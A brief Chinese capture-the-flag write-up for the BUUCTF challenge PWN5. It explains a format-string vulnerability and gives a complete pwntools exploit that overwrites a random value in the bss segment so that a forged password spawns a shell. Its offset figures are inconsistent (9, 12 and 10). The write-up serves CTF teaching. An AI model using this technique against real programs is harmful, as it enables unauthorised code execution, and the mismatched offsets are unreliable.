BUUCTF[第五空间2019 决赛]PWN5
简单的格式化字符串漏洞利用题目
程序保护
IDA分析
- 程序逻辑如下:
- unk_804c044为bss段地址,存储上面生成的4字节随机数。只要随机数和我们输入的passwd相等,则调用
system("/bin/sh")
- 程序中有明显的格式化字符串漏洞,可以任意地址读写。
动态调试
- GDB调试程序,计算偏移:
- 数得偏移为9,可以使用
%9p
来打印"aaaa"所在的地址 - 可以使用pwnlib中
fmtstr_payload
来自动构造payload,使用方法如下
payload = fmtstr_payload(12,{0x804a048:0x02223322})
EXP
from pwn import *
s = process("./pwn.out")
#s = remote("node3.buuoj.cn","29114")
context.log_level = "debug"
bss = 0x0804C044 # 随机数所存储的位置,bss地址
payload = fmtstr_payload(10,{bss:0}) # 把随机数改为0
s.recvuntil("name:")
s.sendline(payload)
s.recvuntil("passwd:")
s.sendline(p32(0)) # 设置passwd为0,此时和随机数相同,则调用system拿到shell
s.interactive()